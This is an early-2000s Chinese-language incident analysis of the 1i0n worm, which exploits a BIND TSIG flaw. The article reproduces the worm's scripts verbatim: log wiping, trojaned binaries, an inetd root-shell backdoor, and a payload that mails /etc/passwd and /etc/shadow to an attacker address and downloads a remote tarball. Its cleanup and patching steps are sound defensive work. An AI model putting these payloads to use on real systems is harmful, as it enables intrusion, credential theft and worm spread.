1i0n蠕虫分析

/ns/wz/sys/data/20010406113231.htm

1i0n蠕虫分析
原创:zackno(zackno)
来源:NULL
http://www.xfocus.org
mail certins@sina.com
情况简介
开始,无意当中列了一下系统进程发现一个有趣的进程。
[acc@firework acc]$ps aux
.....
......
root 3440 99.9 0.5 1088 360 ? R 16:00 0:06 ./pscan xxx.xx 53
......

[root@firework /root]# ps aux | grep pscan
root 3833 97.0 0.5 1088 360 ? RN 16:38 0:10 ./pscan xxx.xx 53
[root@firework /root]# kill -9 3833
[root@firework /root]# ps aux | grep pscan
root 3839 55.5 0.5 1088 360 ? RN 16:38 0:01 ./pscan xxx.xx 53
[root@firework /root]# kill -9 3839
[root@firework /root]# ps aux | grep pscan
root 3845 99.9 0.5 1088 360 ? RN 16:38 0:01 ./pscan xxx.xx 53
以root权限杀死该进程后,又重新启动,有些古怪。

[acc@firework acc]$find / -name pscan -print
/dev/.lib/scan/pscan
/dev/.lib???

/dev/.lib存在,似乎该系统已经被入侵了。

事件分析

1阻止攻击。

我们检查日志信息和击键记录,发现日志系统在1.26被关闭。一些日志记录出现一些空白段,
表明被改过,没有其他信息,紧接着我们检查这些程序:
[acc@firework acc]$cd /dev/.lib
[acc@firework .lib]$ls
[acc@firework libb]$ls -al
total 20
drwxr-xr-x 4 root root 4096 Feb 01 13:15 .
drwxr-xr-x 4 root root 4096 Feb 01 12:30 ..
-rwxr-xr-x 1 root root 53 Feb 01 16:30 1i0n.sh
drwx------ 4 root root 4096 Feb 01 15:37 lib
drwxr-xr-x 2 root root 4096 Feb 01 16:03 scan
[acc@firework libb]$cat 1i0n.sh
#!/bin/sh

cd lib
./1i0n.sh &
cd ../scan
./1i0n.sh &
似乎是启动程序,启动./lib/1i0n.sh和./scan/1i0n.sh,先来看看./lib/1i0n.sh
[acc@firework libb]$cat lib/1i0n.sh |more
....
mv -f in.fingerd /usr/sbin/in.fingerd
mv -f ps /bin/ps
mv -f ifconfig /sbin/ifconfig
mv -f du /usr/bin/du
mv -f netstat /bin/netstat
mv -f top /usr/bin/top
mv -f ls /bin/ls
mv -f find /usr/bin/find

rm -fr /.bash_history
rm -fr /root/.bash_history
echo >/var/log/messages
echo >/var/log/maillog
[acc@firework libb]$
这是个是个善后处理放置后门的程序,再来看看./scan/1i0n.sh。
[acc@firework libb]$cat scan/1i0n.sh
#!/bin/sh

rm -f /etc/hosts.deny

echo "/dev/.lib/lib/scan/star.sh" >> /etc/rc.d/rc.sysinit /*开机启动star.sh*/

touch bindname.log
./star.sh
[acc@firework libb]$ cat scan/star.sh
#!/bin/sh

rm -f bindname.log; touch bindname.log
nohup ./scan.sh >>/dev/null & /*带nohup*/
nohup ./hack.sh >>/dev/null &
[acc@firework libb]$ cat scan/scan.sh
#!/bin/sh
while true /*所以杀不死该进程,
do 一杀死,scan.sh
CLASSB=`./randb` 又重新启动pscan*/
./pscan $CLASSB 53
done
由于这台机器还在运行ps
[acc@firework libb]$
从进程的名字来看,这台机器可能正在被人利用,我们用sniffer监听,听到了很多类似的数据包。
54864(0) win 32120 <mss 1460,sackOK,timestamp 171000892 0,nop,wscale 0> (DF)
16:19:23.955554 eth0 > xxx.xxx.x.xx.4169 > xxx.xx.x.8.domain: S 1854598569:18545
98569(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF)
16:19:23.955636 eth0 > xxx.xxx.x.xx.4170 > xxx.xx.x.9.domain: S 1867025565:18670
25565(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF)
16:19:23.955694 eth0 > xxx.xxx.x.xx.4171 > xxx.xx.x.10.domain: S 1858702344:18587
02344(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF)
16:19:23.955759 eth0 > xxx.xxx.x.xx.4172 > xxx.xx.x.11.domain: S 1861784891:1861
784891(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF)
.....
似乎这个程序专门针对53端口,也就是named的,而且是个大范围扫描程序,可能在扫描后会把结果
发给攻击者,。
我们首先要切断连接,要杀掉这些进程。
[root@firework libb]#ps aux
root 4252 0.2 1.1 1648 752 pts/1 SN 17:48 0:00 sh ./scan.sh
root 4253 0.2 1.1 1648 748 pts/1 SN 17:48 0:00 sh ./hack.sh
root 4258 0.0 0.7 1252 460 pts/1 SN 17:48 0:00 tail -f bindname.
root 4262 99.9 0.5 1088 360 pts/1 RN 17:48 0:14 ./pscan xxx.xx 53
[root@firework libb]#kill -9 4252
[root@firework libb]#kill -9 4253
[root@firework libb]#kill -9 4258
[root@firework libb]#kill -9 4262
再看都杀掉了。

2应急处理

由于攻击者并没有篡改页面,只是利用此机器作为肉机,作为进一步攻击的基地。
我们简单查看了/dev/.lib/1i0n以及/dev/.lib/lib/1i0n.sh、/dev/.lib/scan/1i0n.sh
[acc@firework scan]$strings bind
PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';export PATH;export TERM=vt
100;rm -rf /dev/.lib;mkdir /dev/.lib;cd /dev/.lib;echo '1008 stream tcp nowait r
oot /bin/sh sh' >>/etc/inetd.conf;killall -HUP inetd;ifconfig -a>1i0n;cat /etc/p
asswd >>1i0n;cat /etc/shadow >>1i0n;mail 1i0nip@china.com <1i0n;rm -fr 1i0n;rm -
fr /.bash_history;lynx -dump http://coollion.51.net/crew.tgz >1i0n.tgz;tar -zxvf
1i0n.tgz;rm -fr 1i0n.tgz;cd lib;./1i0n.sh;exit;
.....
修改lsd-pl.net提供的exploit,很容易就可以加入这些代码。

>char command [] ="";
>write(sck[1],command,sizeof(command));

发现这是一个专门针对bind的蠕虫程序。
lib/1i0n.sh主要是入侵以后清理日志、bash_history,放置后门程序。
scan/1i0n.sh主要是启动两个程序,一个pscan扫描B网段(可选C网段),并把结果放置在
./bindname.log中,bind程序负责从bindname.log中提取结果进行自动攻击,攻击成功后放
置后门程序,并开始随机扫描。
我们在保留蠕虫样本后,对系统进行了简单恢复,
1、停止运行域名服务(准备升级)
2、修改/etc/rc.d/init.d/inetd.conf
删除 1008 stream tcp nowait root /bin/sh sh
1008 stream tcp nowait root /bin/sh sh
60008 stream tcp nowait root /bin/sh sh
33567 stream tcp nowait root /bin/sh sh

kill -9 pidof(nscd)
kill -9 pidof(t0rns)

3、修改/etc/rc.d/sysinit
删除 /dev/.lib/lib/scan/star.sh
/usr/sbin/nscd -q
/bin/in.telnetd

4、 删除如下目录和文件
/etc/ttyhash
/usr/man/man1/man1
/usr/src/.puta
/usr/info/.t0rn/
/usr/sbin/nscd
/dev/.lib
/bin/mjy

5、替换如下程序
/bin/login
/usr/sbin/nscd
/usr/sbin/in.telnetd
/sbin/ifconfig
/bin/ps
/usr/bin/du
/bin/ls
/bin/netstat
/usr/bin/find
/usr/bin/top
/usr/sbin/in.finger
6、修改/etc/inetd.conf
注释掉finger服务,并把权限改为nobody。
7、如有ipchains运行,请重新运行规则。

8、检查/var/spool/mqueue下用命令"grep "1i0nip@china.com" *",如发现有文件包含此字段,请
删除此文件。
9、如有必要,增加并修改你的hosts.deny文件
10、重启系统.
可疑之处:根据syslogd被宕掉,但从程序来看不应出现此现象,因此可能除去程序,有攻击者直接登录过。

技术分析

该蠕虫攻击程序的详细描述参照
bugtraq id 2302
cve CAN-2001-10

影响bind版本:
ISC bind 8.2 8.2.1 8.2.2 8.2.2-PX

不受影响
ISC BIND 9.1
ISC BIND 9.0
ISC BIND 8.2.3


通过对蠕虫样本的分析,我们可以看出其基本的工作流程

10in.sh---->./lib/10in.sh-->清理日志、放置后门程序(ssh、sniffer、ls、netstat etc..)
| -->获取系统信息并mail to 1i0nsniff@china.com
|
|
|
|-->./scan/10in.sh-->./pscan 对随机生成的B网段进行扫描
-->./bind 对有漏洞的系统进行攻击,攻击成功后首先获取网络配置、
passwd、shadow到10inip@china.com,放置后门并继续攻击其他机器。

[acc@firework acc]$ls /dev/.lib

/dev/.lib/lib/scan/1i0n.sh -----启动程序,调用./star.sh并把它加入开机启动
/dev/.lib/lib/scan/hack.sh -----一旦检测到在bindname.log中有新纪录,就调用
bindx.sh对目标进行攻击
/dev/.lib/lib/scan/bind -----利用TSIG漏洞进行攻击的程序(修改lsd-pl.net提供的)
/dev/.lib/lib/scan/randb -----随机产生一个B类网段,由pscan调用
/dev/.lib/lib/scan/scan.sh -----调用pscan $(./randb) 53
/dev/.lib/lib/scan/pscan -----探测远程系统是否开启bind服务,如开启,记录
到bindname.log

/dev/.lib/lib/scan/star.sh -----调用sscan.sh和hack.sh
/dev/.lib/lib/scan/bindx.sh -----调用bind
/dev/.lib/lib/scan/bindname.log -----记录存在漏洞的主机IP
/dev/.lib/lib/1i0n.sh -----启动程序,启动lib/1i0n.sh、scan/1i0n.sh
/dev/.lib/lib/lib/netstat -----后门
/dev/.lib/lib/lib/dev/.1addr -----?(可能是为其他程序所用)
/dev/.lib/lib/lib/dev/.1logz
/dev/.lib/lib/lib/dev/.1proc
/dev/.lib/lib/lib/dev/.1file
/dev/.lib/lib/lib/t0rns -----sniffer程序
/dev/.lib/lib/lib/du -----后门
/dev/.lib/lib/lib/ls -----后门
/dev/.lib/lib/lib/t0rnsb -----清理日志
/dev/.lib/lib/lib/ps -----后门
/dev/.lib/lib/lib/t0rnp -----?
/dev/.lib/lib/lib/find -----后门
/dev/.lib/lib/lib/ifconfig -----后门
/dev/.lib/lib/lib/pg -----生成密码程序到/etc/ttyhash(login使用)
/dev/.lib/lib/lib/ssh.tgz -----ssh后门
/dev/.lib/lib/lib/top -----后门
/dev/.lib/lib/lib/sz -----修改文件大小
/dev/.lib/lib/lib/login -----后门
/dev/.lib/lib/lib/in.fingerd -----后门
/dev/.lib/lib/lib/1i0n.sh -----清除日志,放置后门
/dev/.lib/lib/lib/pstree -----后门
/dev/.lib/lib/lib/in.telnetd -----后门
/dev/.lib/lib/lib/mjy -----后门
/dev/.lib/lib/lib/sush -----?
/dev/.lib/lib/lib/tfn -----D.d.o.s工具
/dev/.lib/lib/lib/name -----没有改过的exploit
/dev/.lib/lib/lib/getip.sh -----获取网络、passwd等mail到1i0nsniffer@china.com

该蠕虫原理和ramen很像,不同的是ramen是个良性蠕虫,而此蠕虫的破坏性较大,并且窃取用户口令
文件、网络配置,应该说影响较大,因为即使用户发现,但是很多主机的用户名会为人所知,攻击面
较大,一旦被利用作为D.d.o.s攻击,后果将非常严重。

事故处理

William Stearns写了一个检测程序,但并不能清除该蠕虫。
下载: http://www.sans.org/y2k/lionfind-0.1.tar.gz
建议修补方法:按照应急处理一步一步来做,升级bind版本。 http://www.isc.org/products/BIND/bind9.html

后记:
sans上的有一些介绍http://www.sans.org/y2k/lion.htm
问题:1、在inetd.conf中增加的
1008 stream tcp nowait root /bin/sh sh
60008 stream tcp nowait root /bin/sh sh
不知何用。
2、有几个文件不知用处,象.t0rn/.1addr...。
如果你知道,请mail我一份。

该蠕虫似乎没有考虑到在攻击之前检查是否已经被感染,可能进行重复攻击。(named不重新启动过,再
次攻击也无效),目前我没有发现别的变种,该蠕虫自己不能复制,它通过coollion.51.net来获取蠕虫。


脚本或许写的比较急,有些.... :)
if test -n "$2" ; then
echo "${BLU}# ${BLU} Using ssh-port : ${WHI}$2
${BLU} ${RES}"
tar xfz ssh.tgz
echo "Port $2" >> .t0rn/shdcf
echo "3 $2" >> dev/.1addr
cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
else
echo "${BLU}# ${RED} No ssh-port Specified, using default - 33568 ${
BLU} #${RES}"
tar xfz ssh.tgz
echo "Port 33568" >> .t0rn/shdcf
echo "3 $2" >> dev/.1addr
cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
fi